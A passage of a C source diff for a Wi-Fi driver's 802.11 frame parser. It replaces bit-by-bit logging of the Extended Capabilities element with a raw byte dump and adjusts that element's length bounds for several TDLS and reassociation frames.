DOT11F_REASSOCRESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_REASSOCRESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -18353,7 +18009,7 @@ tANI_U32 dot11fUnpackTDLSDisReq(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBu {offsetof(tDot11fTDLSDisRsp, SuppChannels), offsetof(tDot11fIESuppChannels, present), 0, "SuppChannels" , 0, 4, 98, SigIeSuppChannels, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPCHANNELS, 0, }, {offsetof(tDot11fTDLSDisRsp, SuppOperatingClasses), offsetof(tDot11fIESuppOperatingClasses, present), 0, "SuppOperatingClasses" , 0, 3, 34, SigIeSuppOperatingClasses, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPOPERATINGCLASSES, 0, }, {offsetof(tDot11fTDLSDisRsp, RSN), offsetof(tDot11fIERSN, present), 0, "RSN" , 0, 8, 116, SigIeRSN, {0, 0, 0, 0, 0}, 0, DOT11F_EID_RSN, 0, }, - {offsetof(tDot11fTDLSDisRsp, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fTDLSDisRsp, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fTDLSDisRsp, FTInfo), offsetof(tDot11fIEFTInfo, present), 0, "FTInfo" , 0, 84, 222, SigIeFTInfo, {0, 0, 0, 0, 0}, 0, DOT11F_EID_FTINFO, 0, }, {offsetof(tDot11fTDLSDisRsp, TimeoutInterval), offsetof(tDot11fIETimeoutInterval, present), 0, "TimeoutInterval" , 0, 7, 7, SigIeTimeoutInterval, {0, 0, 0, 0, 0}, 0, DOT11F_EID_TIMEOUTINTERVAL, 0, }, {offsetof(tDot11fTDLSDisRsp, RICData), offsetof(tDot11fIERICData, present), 0, "RICData" , 0, 6, 6, SigIeRICData, {0, 0, 0, 0, 0}, 0, DOT11F_EID_RICDATA, 0, }, @@ -18464,57 +18120,8 @@ tANI_U32 dot11fUnpackTDLSDisRsp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 nBu } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSDISRSP), FRFL("FTInfo:\n")); if (!pFrm->FTInfo.present) @@ -19139,7 +18746,7 @@ tANI_U32 dot11fUnpackTDLSSetupCnf(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n {offsetof(tDot11fTDLSSetupReq, ExtSuppRates), offsetof(tDot11fIEExtSuppRates, present), 0, "ExtSuppRates" , 0, 3, 14, SigIeExtSuppRates, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTSUPPRATES, 0, }, {offsetof(tDot11fTDLSSetupReq, SuppChannels), offsetof(tDot11fIESuppChannels, present), 0, "SuppChannels" , 0, 4, 98, SigIeSuppChannels, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPCHANNELS, 0, }, {offsetof(tDot11fTDLSSetupReq, RSN), offsetof(tDot11fIERSN, present), 0, "RSN" , 0, 8, 116, SigIeRSN, {0, 0, 0, 0, 0}, 0, DOT11F_EID_RSN, 0, }, - {offsetof(tDot11fTDLSSetupReq, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fTDLSSetupReq, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fTDLSSetupReq, SuppOperatingClasses), offsetof(tDot11fIESuppOperatingClasses, present), 0, "SuppOperatingClasses" , 0, 3, 34, SigIeSuppOperatingClasses, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPOPERATINGCLASSES, 0, }, {offsetof(tDot11fTDLSSetupReq, QOSCapsStation), offsetof(tDot11fIEQOSCapsStation, present), 0, "QOSCapsStation" , 0, 3, 3, SigIeQOSCapsStation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSCAPSSTATION, 0, }, {offsetof(tDot11fTDLSSetupReq, FTInfo), offsetof(tDot11fIEFTInfo, present), 0, "FTInfo" , 0, 84, 222, SigIeFTInfo, {0, 0, 0, 0, 0}, 0, DOT11F_EID_FTINFO, 0, }, @@ -19255,57 +18862,8 @@ tANI_U32 dot11fUnpackTDLSSetupReq(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, 